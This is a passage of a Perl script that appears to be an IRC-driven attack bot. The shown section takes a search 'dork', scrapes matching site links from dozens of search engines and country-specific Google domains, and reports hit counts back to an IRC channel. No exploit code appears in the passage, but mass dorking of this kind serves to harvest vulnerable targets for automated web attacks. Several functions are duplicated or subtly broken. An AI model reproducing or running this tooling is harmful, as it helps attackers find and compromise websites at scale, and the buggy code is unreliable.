  783. if ($engine eq "ZM") { my @zm = &zm($dork); push(@total,@zm); }
  784. if ($engine eq "YE") { my @ye = &ye($dork); push(@total,@ye); }
  785. if ($engine eq "CU") { my @cu = &cu($dork); push(@total,@cu); }
  786. if ($engine eq "TO") { my @to = &to($dork); push(@total,@to); }
  787. if ($engine eq "TZ") { my @tz = &tz($dork); push(@total,@tz); }
  788. if ($engine eq "RS") { my @rs = &rs($dork); push(@total,@rs); }
  789. if ($engine eq "PM") { my @pm = &pm($dork); push(@total,@pm); }
  790. if ($engine eq "LT") { my @lt = &lt($dork); push(@total,@lt); }
  791. if ($engine eq "MZ") { my @mz = &mz($dork); push(@total,@mz); }
  792. if ($engine eq "MA") { my @ma = &ma($dork); push(@total,@ma); }
  793. if ($engine eq "AL") { my @al = &al($dork); push(@total,@al); }
  794. if ($engine eq "PA") { my @pa = &pa($dork); push(@total,@pa); }
  795. if ($engine eq "EC") { my @ec = &ec($dork); push(@total,@ec); }
  796. if ($engine eq "KG") { my @kg = &kg($dork); push(@total,@kg); }
  797. if ($engine eq "UZ") { my @uz = &uz($dork); push(@total,@uz); }
  798. if ($engine eq "SV") { my @sv = &sv($dork); push(@total,@sv); }
  799. if ($engine eq "GooGLe") { my @google = &google($dork); push(@total,@google); }
  800. if ($engine eq "WaLLa") { my @walla = &walla($dork); push(@total,@walla); }
  801. if ($engine eq "YaHoo") { my @yahoo = &yahoo($dork); push(@total,@yahoo); }
  802. if ($engine eq "AsK") { my @ask = &ask($dork); push(@total,@ask); }
  803. if ($engine eq "Bing") { my @bing = &bing($dork); push(@total,@bing); }
  804. if ($engine eq "UoL") { my @uol = &uol($dork,$chan); push(@total,@uol); }
  805. if ($engine eq "OnEt") { my @onet = &onet($dork); push(@total,@onet); }
  806. if ($engine eq "CLusTy") { my @clusty = &clusty($dork); push(@total,@clusty); }
  807. if ($engine eq "SaPo") { my @sapo = &sapo($dork); push(@total,@sapo); }
  808. if ($engine eq "AoL") { my @aol = &aol($dork); push(@total,@aol); }
  809. if ($engine eq "LyCos") { my @lycos = &lycos($dork); push(@total,@lycos); }
  810. if ($engine eq "HotBot") { my @hotbot = &hotbot($dork); push(@total,@hotbot); }
  811. if ($engine eq "SeZNam") { my @seznam = &seznam($dork); push(@total,@seznam); }
  812. if ($engine eq "BigLobe") { my @biglobe = &biglobe($dork); push(@total,@biglobe); }
  813. if ($engine eq "Yahoo2") { my @yahoo2 = &yahoo2($dork); push(@total,@yahoo2); }
  814. if ($engine eq "KvaSiR") { my @kvasir = &kvasir($dork); push(@total,@kvasir); }
  815. if ($engine eq "QuinT") { my @quint = &quint($dork); push(@total,@quint); }
  816. if ($engine eq "Pagina") { my @pagina = &pagina($dork); push(@total,@pagina); }
  817. if ($engine eq "ask2") { my @ask2 = &ask2($dork); push(@total,@ask2); }
  818. if ($engine eq "webcrawler") { my @webcrawler = &webcrawler($dork); push(@total,@webcrawler); }
  819. if ($engine eq "witch") { my @witch = &witch($dork); push(@total,@witch); }
  820. if ($engine eq "amidalla") { my @amidalla = &amidalla($dork); push(@total,@amidalla); }
  821. if ($engine eq "mywebsearch") { my @mywebsearch = &mywebsearch($dork); push(@total,@mywebsearch); }
  822. if ($engine eq "dogpile") { my @dogpile = &dogpile($dork); push(@total,@dogpile); }
  823. if ($engine eq "infocom") { my @infocom = &infocom($dork); push(@total,@infocom); }
  824. if ($engine eq "searchcom") { my @searchcom = &searchcom($dork); push(@total,@searchcom); }
  825. if ($engine eq "teoma") { my @teoma = &teoma($dork); push(@total,@teoma); }
  826. if ($engine eq "volunia") { my @volunia = &volunia($dork); push(@total,@volunia); }
  827. if ($engine eq "izito") { my @izito = &izito($dork); push(@total,@izito); }
  828. if ($engine eq "becak") { my @becak = &becak($dork); push(@total,@becak); }
  829. if ($engine eq "bokep") { my @bokep = &bokep($dork); push(@total,@bokep); }
  830. if ($engine eq "searchnz") { my @searchnz = &searchnz($dork); push(@total,@searchnz); }
  831. @clean = &clean(@total);
  832. if (scalar(@total) > 0) {
  833. &msg("$chan","$logo 4$engine14 ".scalar(@total).""); }
  834. return @clean;
  835. }
  836. ##################################################################################
  837. sub isFound() {
  838. my $status = 0;
  839. my $link = $_[0];
  840. my $reqexp = $_[1];
  841. my $res = &get_content($link);
  842. if ($res =~ /$reqexp/) { $status = 1 }
  843. return $status;
  844. }
  845.  
  846. sub get_content() {
  847. my $url = $_[0];
  848. my $ua = LWP::UserAgent->new(agent => $uagent);
  849. $ua->timeout($timot);
  850. my $req = HTTP::Request->new(GET => $url);
  851. my $res = $ua->request($req);
  852. return $res->content;
  853. }
  854. ######################################### SEARCH ENGINE
  855. sub becak() {
  856. my @list;
  857. my $key = $_[0];
  858. my @doms = ("ae","com.af","com.ag","off.ai","am","com.ar","as","at","com.au","az","ba","com.bd","be","bg","bi","com.bo","com.br","bs","co.bw","com.bz","ca","cd","cg","ch","ci","co.ck","cl","com.co","co.cr","com.cu","de","dj","dk","dm","com.do","com.ec","es","com.et","fi","com.fj","fm","fr","gg","com.gi","gl","gm","gr","com.gt","com.hk","hn","hr","co.hu","co.id","ie","co.il","co.im","co.in","is","it","co.je","com.jm","jo","co.jp","co.ke","kg","co.kr","kz","li","lk","co.ls","lt","lu","lv","com.ly","mn","ms","com.mt","mu","mw","com.mx","com.my","com.na","com.nf","com.ni","nl","no","com.np","nr","nu","co.nz","com.om","com.pa","com.pe","com.ph","com.pk","pl","pn","com.pr","pt","com.py","ro","ru","rw","com.sa","com.sb","sc","se","com.sg","sh","sk","sn","sm","com.sv","co.th","com.tj","tm","to","tp","com.tr","tt","com.tw","com.ua","co.ug","co.uk","com.uy","uz","com.vc","co.ve","vg","co.vi","com.vn","vu","ws","co.za","co.zm","co.kr");
  859. foreach my $domain (@doms) { $dom = $doms[rand(scalar(@doms))];
  860. for ($b=1; $b<=200; $b+=10) {
  861. my $search = ("http://www.google.".$dom."/search?num=50&q=".uri_escape($key)."&start=".$b."&sa=N");
  862. my $res = search_engine_query($search);
  863. while ($res =~ m/<a href=\"?http([^>\"]*)\//g) {
  864. if ($1 !~ /google/){
  865. my $link = $1;
  866. my @grep = split(/\&/,$link);
  867. push(@list,$grep[0]);
  868. }
  869. }
  870. }
  871. return @list;
  872. }
  873. }
  874.  
  875. sub bokep() {
  876. my @list;
  877. my $key = $_[0];
  878. for ($b=0; $b<=300; $b+=10) {
  879. my $search = ("http://www.search.xxx/search/?q=".uri_escape($key)."&lr=all&cat=&or=&start=".$b);
  880. my $res = search_engine_query($search);
  881. while ($res =~ m/<h2 class=\"result-web\">(.*?)<\/h2>/g) {
  882. if ($1 !~ /search\.xxx/){
  883. my $link = $1;
  884. my @grep = split(/\&/,$link);
  885. push(@list,$grep[0]);
  886. }
  887. }
  888. }
  889. return @list;
  890. }
  891.  
  892. sub searchnz() {
  893. my @list;
  894. my $key = $_[0];
  895. for ($b=1; $b<=40; $b+=1) {
  896. my $search = ("http://searchnz.co.nz/search.aspx?q=".uri_escape($key)."&gr=false&np=".$b);
  897. my $res = search_engine_query($search);
  898. while ($res =~ m/>http(.+?)<\/a><\/div>/g) {
  899. if ($1 !~ /webads\.co\.nz/){
  900. my $link = $1;
  901. my @grep = split(/\&/,$link);
  902. push(@list,$grep[0]);
  903. }
  904. }
  905. }
  906. return @list;
  907. }
  908.  
  909. sub webcrawler() {
  910. my @list;
  911. my $key = $_[0];
  912. for ($i = 0 ;$i <= 1400 ;$i += 20) {
  913. my $clink = ("http://www.webcrawler.com/search/web?qsi=".$i."&q=".uri_escape($key)."&fcop=results-top");
  914. my $re = search_engine_query($clink);
  915. while ($re =~ m/nonpaid','(.*)','http(.+?)\'/g) {
  916. my $link = $1;
  917. if ($1 !~ /webcrawler\.com/){
  918. my @grep = split(/\&/,$link);
  919. push(@list,$grep[0]);
  920. }
  921. }
  922. }
  923. return @list;
  924. }
  925.  
  926. sub clusty() {
  927. my @list;
  928. my $key = $_[0];
  929. my $b = 0;
  930. for ($b=0; $b<=120; $b+=10) {
  931. my $search = ("http://search.yippy.com/search?query=".uri_escape($key)."&input-form=clusty-simple&v:sources=webplus&v:state=root|root-".$b."-10|0&");
  932. my $res = search_engine_query($search);
  933. while ($res =~ m/<div class=\"document-header\"><a href=\"http(.*?)\"><span class=\"title\">/g) {
  934. if ($1 !~ /yippy\.com/){
  935. my $link = $1;
  936. my @grep = split(/\&/,$link);
  937. push(@list,$grep[0]);
  938. }
  939. }
  940. }
  941. return @list;
  942. }
  943.  
  944. sub witch(){
  945. my @list;
  946. my $key = $_[0];
  947. for($b=0; $b<=180; $b+=10){
  948. my $Lyc = ("http://www.witch.de/search-result.php?searchtype=phonetisch&search=".uri_escape($key)."&cn=".$b);
  949. my $Res = search_engine_query($Lyc);
  950. while ($Res =~ m/<a href=\"http(.+?)\"/g){
  951. my $link = $1;
  952. if ($1 !~ /witch\.de/){
  953. my @grep = split(/\&/,$link);
  954. push(@list,$grep[0]);
  955. }
  956. }
  957. }
  958. return @list;
  959. }
  960.  
  961. sub amidalla(){
  962. my @list;
  963. my $key = $_[0];
  964. my $i = 0;
  965. for ($i=1; $i<=200; $i+=10){
  966. my $web=("http://www.amidalla.de/cgi-bin/amisearch.cgi?search=".uri_escape($key)."&page=".$i."&break=10&af=2&tld=com&et=2");
  967. my $Res= search_engine_query($web);
  968. while ($Res =~ m/<a href=\"http(.+?)\//g){
  969. if ($1 !~ /amidalla/){
  970. my $link = $1;
  971. my @grep = split(/\&/,$link);
  972. push(@list,$grep[0]);
  973. }
  974. }
  975. }
  976. return @list;
  977. }
  978.  
  979. sub mywebsearch() {
  980. my @list;
  981. my $key = $_[0];
  982. for ($b = 1; $b<=30; $b+= 1) {
  983. my $search = ("http://search.mywebsearch.com/mywebsearch/GGweb.jhtml?searchfor=".uri_escape($key)."&pn=".$b);
  984. my $res = search_engine_query($search);
  985. while ($res =~ m/<span class=\"uri\">http(.+?)\<\/span>/g) {
  986. my $link = $1;
  987. if ($1 !~ /mywebsearch\.com/){
  988. my @grep = split(/\&/,$link);
  989. push(@list,$grep[0]);
  990. }
  991. }
  992. }
  993. return @list;
  994. }
  995.  
  996. sub dogpile() {
  997. my @list;
  998. my $key = $_[0];
  999. for ($b = 1; $b<=901; $b+= 10) {
  1000. my $search = ("http://www.dogpile.com/info.dogpl/search/web?qsi=".$b."&q=".uri_escape($key));
  1001. my $res = search_engine_query($search);
  1002. while ($res =~ m/<a class=\"resultDisplayUrl\" (.*) site=\"_blank\">(.+?)<\/a>/g) {
  1003. my $link = $2;
  1004. if ($link!~ /dogpile/) {
  1005. my @grep = split(/\&/,$link);
  1006. push(@list,$grep[0]);
  1007. }
  1008. }
  1009. }
  1010. return @list;
  1011. }
  1012.  
  1013. sub infocom() {
  1014. my @list;
  1015. my $key = $_[0];
  1016. for ($b = 1; $b<=60; $b+= 1) {
  1017. my $search = ("http://www.info.com/searchw?page=".$b."&qkw=".uri_escape($key));
  1018. my $res = search_engine_query($search);
  1019. while ($res =~ m/http%3a%2f%2f(.+?)%2f/g) {
  1020. my $link = $1;
  1021. if ($link!~ /info\.com/) {
  1022. my @grep=links($link);
  1023. open( $filez, ">>", $name );
  1024. foreach my $k (@grep) { print $filez "$k\n"; }
  1025. close $filez;
  1026. push(@list,$grep[0]);
  1027. }
  1028. }
  1029. }
  1030. return @list;
  1031. }
  1032.  
  1033. sub searchcom() {
  1034. my @list;
  1035. my $key = $_[0];
  1036. for ($b = 1; $b<=40; $b+= 1) {
  1037. my $search = ("http://www.search.com/search?q=".uri_escape($key)."&nav=".$b.".10.2.10");
  1038. my $res = search_engine_query($search);
  1039. while ($res =~ m/<a href=\"http(.+?)\" onclick=\"/g) {
  1040. my $link = $1;
  1041. if ($link!~ /search\.com/) {
  1042. my @grep = split(/\&/,$link);
  1043. push(@list,$grep[0]);
  1044. }
  1045. }
  1046. }
  1047. return @list;
  1048. }
  1049.  
  1050. sub teoma() {
  1051. my @list;
  1052. my $key = $_[0];
  1053. for ($b = 1; $b<=60; $b+= 1) {
  1054. my $search = ("http://www.teoma.com/web?q=".uri_escape($key)."&page=".$b);
  1055. my $res = search_engine_query($search);
  1056. while ($res =~ m/href=\"http(.+?)\"/g) {
  1057. my $link = $1;
  1058. if ($link!~ /teoma\.com/) {
  1059. my @grep = split(/\&/,$link);
  1060. push(@list,$grep[0]);
  1061. }
  1062. }
  1063. }
  1064. return @list;
  1065. }
  1066.  
  1067. sub izito() {
  1068. my @list;
  1069. my $key = $_[0];
  1070. for ($b=0; $b<=20; $b+=1) {
  1071. my $search = ("http://www.izito.com/?query=".uri_escape($key)."&where=web_izito&site=web_izito&vid=l1847521836I1359583892&con=y&asid=1810073229&tag=7570085394I1359583978&clt=topic&sr=r&pg=".$b);
  1072. my $res = search_engine_query($search);
  1073. while ($res =~ m/<div class=\"title_up\"><a href=\"http(.*?)\" site=/g) {
  1074. my $link = $1;
  1075. if ($1 !~ /izito\.com/){
  1076. my @grep = split(/\&/,$link);
  1077. push(@list,$grep[0]);
  1078. }
  1079. }
  1080. }
  1081. return @list;
  1082. }
  1083.  
  1084. sub onyet() {
  1085. my @list;
  1086. my $key = $_[0];
  1087. for ($b=1; $b<=20; $b+=1) {
  1088. my $search = ("http://szukaj.onet.pl/0,".$b.",query.html?qt=".uri_escape($key));
  1089. my $res = search_engine_query($search);
  1090. while ($res =~ m/class=\"link\"><a href=\"http(.+?)\">/g) {
  1091. if ($1 !~ /onet\.pl/){
  1092. my $link = $1;
  1093. my @grep = split(/\&/,$link);
  1094. push(@list,$grep[0]);
  1095. }
  1096. }
  1097. }
  1098. return @list;
  1099. }
  1100.  
  1101. sub askom() {
  1102. my @list;
  1103. my $key = $_[0];
  1104. for (my $i=0; $i<=40; $i+=1) {
  1105. my $search = ("http://www.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=&o=0&l=dir&qid=235A0A59C3E13CDAFE9BC30D9C40E125&page=".$i."&pid=&min=&max=&jss=");
  1106. my $res = search_engine_query($search);
  1107. while ($res =~ m/href=\"http(.+?)\" onmousedown=\"/g) {
  1108. if ($1 !~ /ask\.com/){
  1109. my $link = $1;
  1110. my @grep = split(/\&/,$link);
  1111. push(@list,$grep[0]);
  1112. }
  1113. }
  1114. }
  1115. return @list;
  1116. }
  1117.  
  1118. sub google() {
  1119. my @list;
  1120. my $key = $_[0];
  1121. for (my $b=0; $b<=1000; $b+=100){
  1122. my $search = ($jack1.uri_escape($key)."&num=100&filter=0&start=".$i);
  1123. my $res = &search_engine_query($search);
  1124. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  1125. my $link = $1;
  1126. if ($link !~ /google/){
  1127. my @grep = split(/\&/,$link);
  1128. push(@list,$grep[0]);
  1129. }
  1130. }
  1131. }
  1132. return @list;
  1133. }
  1134.  
  1135. sub walla() {
  1136. my @list;
  1137. my $key = $_[0];
  1138. for ($b=0; $b<=100; $b+=1) {
  1139. my $search = ("http://search.walla.co.il/?q=".uri_escape($key)."&type=text&page=".$b);
  1140. my $res = &search_engine_query($search);
  1141. while ($res =~ m/<a href=\"http(.+?)\" title=/g) {
  1142. my $link = $1;
  1143. if ($link !~ /walla\.co\.il/){
  1144. my @grep = split(/\&/,$link);
  1145. push(@list,$grep[0]);
  1146. }
  1147. }
  1148. }
  1149. return @list;
  1150. }
  1151.  
  1152.  
  1153. sub yahoo(){
  1154. my @list;
  1155. my $key = $_[0];
  1156. for ($b=1; $b<=1000; $b+=10) {
  1157. my $search = ("http://search.yahoo.com/search?p=".uri_escape($key)."&b=".$b);
  1158. my $res = &search_engine_query($search);
  1159. while ($res =~ m/http([^>]*)\//g) {
  1160. my $link = $1;
  1161. if ($link !~ /yahoo\.com/){
  1162. my @grep = split(/\&/,$link);
  1163. push(@list,$grep[0]);
  1164. }
  1165. }
  1166. }
  1167. return @list;
  1168. }
  1169.  
  1170. sub ask() {
  1171. my @list;
  1172. my $key = $_[0];
  1173. for (my $i=1; $i<=1000; $i+=100) {
  1174. my $search = ("http://uk.ask.com/web?q=".uri_escape($key)."&qsrc=1&frstpgo=0&o=0&l=dir&qid=05D10861868F8C7817DAE9A6B4D30795&page=".$i."&jss=");
  1175. my $res = &search_engine_query($search);
  1176. while ($res =~ m/href=\"http(.*?)\" onmousedown=/g) {
  1177. my $link = $1;
  1178. if ($link !~ /ask\.com/){
  1179. my @grep = split(/\&/,$link);
  1180. push(@list,$grep[0]);
  1181. }
  1182. }
  1183. }
  1184. return @list;
  1185. }
  1186.  
  1187. sub onet() {
  1188. my @list;
  1189. my $key = $_[0];
  1190. my $b = 0;
  1191. for ($b=1; $b<=400; $b+=10) {
  1192. my $search = ("http://szukaj.onet.pl/".$b.",query.html?qt=".uri_escape($key));
  1193. my $res = &search_engine_query($search);
  1194. while ($res =~ m/<a href=\"http(.*?)\">/g) {
  1195. my $link = $1;
  1196. if ($link !~ /onet|webcache|query/){
  1197. my @grep = split(/\&/,$link);
  1198. push(@list,$grep[0]);
  1199. }
  1200. }
  1201. }
  1202. return @list;
  1203. }
  1204.  
  1205. sub clusty() {
  1206. my @list;
  1207. my $key = $_[0];
  1208. my $b = 0;
  1209. for ($b=10; $b<=200; $b+=10) {
  1210. my $search = ("http://search.yippy.com/search?input-form=clusty-simple&v%3Asources=webplus-ns-aaf&v%3Aproject=clusty&query=".uri_escape($key)."&v:state=root|root-".$b."-20|0&");
  1211. my $res = &search_engine_query($search);
  1212. if ($res !~ /next/) {$b=100;}
  1213. while ($res =~ m/<a href=\"http(.*?)\"/g) {
  1214. my $link = $1;
  1215. if ($1 !~ /yippy\.com/){
  1216. my @grep = split(/\&/,$link);
  1217. push(@list,$grep[0]);
  1218. }
  1219. }
  1220. }
  1221. return @list;
  1222. }
  1223.  
  1224. sub bing() {
  1225. my @list;
  1226. my $key = $_[0];
  1227. for (my $i=1; $i<=400; $i+=10) {
  1228. my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&first=".$i);
  1229. my $res = &search_engine_query($search);
  1230. while ($res =~ m/<a href=\"?http([^\"]*)\"/g) {
  1231. my $link = $1;
  1232. if ($link !~ /google/) {
  1233. my @grep = split(/\&/,$link);
  1234. push(@list,$grep[0]);
  1235. }
  1236. }
  1237. }
  1238. return @list;
  1239. }
  1240.  
  1241. sub sapo(){
  1242. my @list;
  1243. my $key = $_[0];
  1244. for ($b=1; $b<=50; $b+=1) {
  1245. my $search = ("http://pesquisa.sapo.pt/?barra=resumo&cluster=0&format=html&limit=10&location=pt&page=".$b."&q=".uri_escape($key)."&st=local");
  1246. my $res = &search_engine_query($search);
  1247. if ($res !~ m/Next/i) {$b=50;}
  1248. while ($res =~ m/<a href=\"http(.*?)\"/g) {
  1249. my $link = $1;
  1250. if ($1 !~ /\.sapo\.pt/){
  1251. my @grep = split(/\&/,$link);
  1252. push(@list,$grep[0]);
  1253. }
  1254. }
  1255. }
  1256. return @list;
  1257. }
  1258.  
  1259. sub lycos() {
  1260. my @list;
  1261. my $key = $_[0];
  1262. for ($b=0; $b<=50; $b+=1) {
  1263. my $search = ("http://search.lycos.com/web?q=".uri_escape($key)."&pn=".$b);
  1264. my $res = &search_engine_query($search);
  1265. while ($res =~ m/title=\"http(.*?)\"/g) {
  1266. my $link = $1;
  1267. if ($link !~ /lycos\.com/){
  1268. my @grep = split(/\&/,$link);
  1269. push(@list,$grep[0]);
  1270. }
  1271. }
  1272. }
  1273. return @list;
  1274. }
  1275.  
  1276. sub uol() {
  1277. my @list;
  1278. my $key = $_[0];
  1279. my $chan = $_[1];
  1280. for ($b=0; $b<=1000; $b+=10) {
  1281. my $search = ("http://busca.uol.com.br/web/?ref=homeuol&q=".uri_escape($key)."&start=".$b);
  1282. my $res = &search_engine_query($search);
  1283. if ($res =~ m/retornou nenhum resultado/i) {$b=500;}
  1284. while ($res =~ m/href=\"?http([^\">]*)\"/g) {
  1285. my $link = $1;
  1286. if ($link !~ /uol\.com\.br|\/web/i){
  1287. my @grep = split(/\&/,$link);
  1288. push(@list,$grep[0]);
  1289. }
  1290. }
  1291. }
  1292. sendraw("MODE $chan -m");
  1293. return @list;
  1294. }
  1295.  
  1296. sub seznam() {
  1297. my @list;
  1298. my $key = $_[0];
  1299. for ($b=1; $b<=300; $b+=20) {
  1300. my $search = ("http://search.seznam.cz/?q=".uri_escape($key)."&count=20&from=".$b);
  1301. my $res = &search_engine_query($search);
  1302. while ($res =~ m/href=\"?http([^\">]*)\"/g) {
  1303. my $link = $1;
  1304. if ($link !~ /seznam\.cz|chytrevyhledavani\.cz|smobil\.cz|sklik\.cz/i){
  1305. my @grep = split(/\&/,$link);
  1306. push(@list,$grep[0]);
  1307. }
  1308. }
  1309. }
  1310. return @list;
  1311. }
  1312.  
  1313. sub hotbot() {
  1314. my @list;
  1315. my $key = $_[0];
  1316. for ($b=0; $b<=50; $b+=1) {
  1317. my $search = ("http://www.hotbot.com/search/web?pn=".$b."&q=".uri_escape($key));
  1318. my $res = &search_engine_query($search);
  1319. if ($res =~ m/had no web result/i) {$b=50;}
  1320. while ($res =~ m/href=\"http(.+?)\" title=/g) {
  1321. my $link = $1;
  1322. if ($link !~ /hotbot\.com/){
  1323. my @grep = split(/\&/,$link);
  1324. push(@list,$grep[0]);
  1325. }
  1326. }
  1327. }
  1328. return @list;
  1329. }
  1330.  
  1331. sub aol() {
  1332. my @list;
  1333. my $key = $_[0];
  1334. for ($b=0; $b<=300; $b+=10) {
  1335. my $search = ("http://search.aol.com/aol/search?q=".uri_escape($key)."&page=".$b);
  1336. my $res = &search_engine_query($search);
  1337. while ($res =~ m/href=\"http(.*?)\"/g) {
  1338. my $link = $1;
  1339. if ($link !~ /aol\.com/){
  1340. my @grep = split(/\&/,$link);
  1341. push(@list,$grep[0]);
  1342. }
  1343. }
  1344. }
  1345. return @list;
  1346. }
  1347.  
  1348. sub biglobe {
  1349. my $key = $_[0];
  1350. my @list;
  1351. for ($b=1; $b<=500; $b+=10) {
  1352. $num += $num;
  1353. my $search = "http://cgi.search.biglobe.ne.jp/cgi-bin/search-st_lp2?start=".$b."&ie=utf8&num=".$num."&q=".uri_escape($key)."&lr=all";
  1354. my $res = &search_engine_query($search);
  1355. while ( $res =~ m/<a href=\"http(.+?)\"/g ) {
  1356. my $link = $1;
  1357. if ($link !~ /biglobe/){
  1358. my @grep = split(/\&/,$link);
  1359. push(@list,$grep[0]);
  1360. }
  1361. }
  1362. }
  1363. return @list;
  1364. }
  1365.  
  1366. sub yahoo2() {
  1367. my @list;
  1368. my $key = $_[0];
  1369. my $b = 0;
  1370. my @doms = ("nl","au","br","ca","de","es","fr","it","uk");
  1371. foreach my $domain (@doms) { #$dom = $doms[rand(scalar(@doms))];
  1372. for (my $i=1; $i<=1000; $i+=100) {
  1373. my $search = ("http://".$domain.".search.yahoo.com/search?n=100&p=".uri_escape($key)."&b=".$i);
  1374. my $res = &search_engine_query($search);
  1375. while ($res =~ m/http([^>]*)\//g) {
  1376. if ($1 !~ /yahoo\.com/){ my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = split(/\&/,$link); push(@list,$grep[0]);
  1377. }
  1378. }
  1379. } return @list;
  1380. }
  1381. }
  1382.  
  1383. sub kvasir() {
  1384. my @list;
  1385. my $key = $_[0];
  1386. for (my $i=10; $i<=1000; $i+=100){
  1387. my $search = ("http://www.kvasir.no/nettsok?q=".$i."&pageSize=100&q=".uri_escape($key)."");
  1388. my $res = &search_engine_query($search);
  1389. while ($res =~ m/href=\"http(.+?)\//g) {
  1390. my $link = $1; if ($link !~ /kvasir/){ $link =~ s/<//g; $link =~ s/ //g; my @grep = links($link); push(@list,$grep[0]);
  1391. }
  1392. }
  1393. }
  1394. return @list;
  1395. }
  1396.  
  1397. sub quint() {
  1398. my @lst;
  1399. my $key = $_[0];
  1400. for (my $i=0; $i<=50; $i+=1){
  1401. my $search = ("http://quintura.com/?request=".uri_escape($key)."&tab=0&page=".$i."&tabid=");
  1402. my $res = search_engine_query($search);
  1403. while ($res =~ m/<a href=\"?http(.+?)\//g) {
  1404. my $link = $1;
  1405. if ($link !~ /quintura/){
  1406. my @grep = links($link);
  1407. push(@lst,@grep);
  1408. }
  1409. }
  1410. }
  1411. return @lst;
  1412. }
  1413.  
  1414. sub seznam() {
  1415. my @list;
  1416. my $key = $_[0];
  1417. for ($b=1; $b<=1000; $b+=100) {
  1418. my $search = ("http://search.seznam.cz/?q=".uri_escape($key)."&count=10&pId=SkYLl2GXwV0CZZUQcglt&from=".$b);
  1419. my $res = &search_engine_query($search);
  1420. while ($res =~ m/<a href=\"http(.+?)\" title/g) {
  1421. if ($1 !~ /seznam/){
  1422. my $link = $1;
  1423. my @grep = split(/\&/,$link);
  1424. push(@list,$grep[0]);
  1425. }
  1426. }
  1427. }
  1428. return @list;
  1429. }
  1430.  
  1431. sub pagina(){
  1432. my @list;
  1433. my $key = $_[0];
  1434. my $i = 0;
  1435. for ($i=0; $i<=100; $i+=1){
  1436. my $web=("http://startgoogle.startpagina.nl/index.php?q=".uri_escape($key)."&start=".$i."&origin=homepage&source=geentaal");
  1437. my $Res= search_engine_query($web);
  1438. while ($Res =~ m/<a href=\"?http([^>\"]*)\//g){
  1439. if ($1 !~ /pagina|pagina's/){
  1440. my $k=$1;
  1441. my @grep=links($k);
  1442. push(@list,$grep[0]);
  1443. }
  1444. }
  1445. }
  1446. return @list;
  1447. }
  1448.  
  1449. sub ask2() {
  1450. my @list;
  1451. my $key = $_[0];
  1452. for (my $i=1; $i<=50; $i+=1) {
  1453. my $search = ("http://it.ask.com/web?q=".uri_escape($key)."&qsrc=0&o=0&l=dir&qid=EE90DE6E8F5370F363A63EC61228D4FE&page=".$i."&jss=1&dm=all");
  1454. my $res = &search_engine_query($search);
  1455. if ($res !~ /Successiva/) {$i=50;}
  1456. while ($res =~ m/href=\"http(.+?)\" onmousedown=\"/g) {
  1457. if ($1 !~ /ask\.com/){
  1458. my $link = $1;
  1459. my @grep = split(/\&/,$link);
  1460. push(@list,$grep[0]);
  1461. }
  1462. }
  1463. }
  1464. return @list;
  1465. }
  1466.  
  1467. sub uk() {
  1468. my @list;
  1469. my $key = $_[0];
  1470. for (my $i=0; $i<=1000; $i+=100){
  1471. my $search = ($jack1.uri_escape($key)."%2Bsite%3Auk%26num%3D100%26start%3D".$i);
  1472. my $res = &search_engine_query($search);
  1473. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  1474. my $link = $1;
  1475. if ($link !~ /google/){
  1476. my @grep = split(/\&/,$link);
  1477. push(@list,$grep[0]);
  1478. }
  1479. }
  1480. }
  1481. return @list;
  1482. }
  1483.  
  1484. sub br() {
  1485. my @list;
  1486. my $key = $_[0];
  1487. for (my $i=0; $i<=1000; $i+=100){
  1488. my $search = ($jack2.uri_escape($key)."%2Bsite%3Abr%26num%3D100%26start%3D".$i);
  1489. my $res = &search_engine_query($search);
  1490. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  1491. my $link = $1;
  1492. if ($link !~ /google/){
  1493. my @grep = split(/\&/,$link);
  1494. push(@list,$grep[0]);
  1495. }
  1496. }
  1497. }
  1498. return @list;
  1499. }
  1500.  
  1501. sub se() {
  1502. my @list;
  1503. my $key = $_[0];
  1504. for (my $i=0; $i<=1000; $i+=100){
  1505. my $search = ($jack3.uri_escape($key)."%2Bsite%3Ase%26num%3D100%26start%3D".$i);
  1506. my $res = &search_engine_query($search);
  1507. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  1508. my $link = $1;
  1509. if ($link !~ /google/){
  1510. my @grep = split(/\&/,$link);
  1511. push(@list,$grep[0]);
  1512. }
  1513. }
  1514. }
  1515. return @list;
  1516. }
  1517.  
  1518. sub ar() {
  1519. my @list;
  1520. my $key = $_[0];
  1521. for (my $i=0; $i<=1000; $i+=100){
  1522. my $search = ($jack4.uri_escape($key)."%2Bsite%3Aar%26num%3D100%26start%3D".$i);
  1523. my $res = &search_engine_query($search);
  1524. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  1525. my $link = $1;
  1526. if ($link !~ /google/){
  1527. my @grep = split(/\&/,$link);
  1528. push(@list,$grep[0]);
  1529. }
  1530. }
  1531. }
  1532. return @list;
  1533. }
  1534.  
  1535. sub by() {
  1536. my @list;
  1537. my $key = $_[0];
  1538. for (my $i=0; $i<=1000; $i+=100){
  1539. my $search = ($jack5.uri_escape($key)."%2Bsite%3Aby%26num%3D100%26start%3D".$i);
  1540. my $res = &search_engine_query($search);
  1541. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  1542. my $link = $1;
  1543. if ($link !~ /google/){
  1544. my @grep = split(/\&/,$link);
  1545. push(@list,$grep[0]);
  1546. }
  1547. }
  1548. }
  1549. return @list;
  1550. }
  1551.  
  1552. sub ru() {
  1553. my @list;
  1554. my $key = $_[0];
  1555. for (my $i=0; $i<=1000; $i+=100){
  1556. my $search = ($jack6.uri_escape($key)."%2Bsite%3Aru%26num%3D100%26start%3D".$i);
  1557. my $res = &search_engine_query($search);
  1558. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  1559. my $link = $1;
  1560. if ($link !~ /google/){
  1561. my @grep = split(/\&/,$link);
  1562. push(@list,$grep[0]);
  1563. }
  1564. }
  1565. }
  1566. return @list;
  1567. }
  1568.  
  1569. sub ph() {
  1570. my @list;
  1571. my $key = $_[0];
  1572. for (my $i=0; $i<=1000; $i+=100){
  1573. my $search = ($jack7.uri_escape($key)."%2Bsite%3Aph%26num%3D100%26start%3D".$i);
  1574. my $res = &search_engine_query($search);
  1575. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  1576. my $link = $1;
  1577. if ($link !~ /google/){
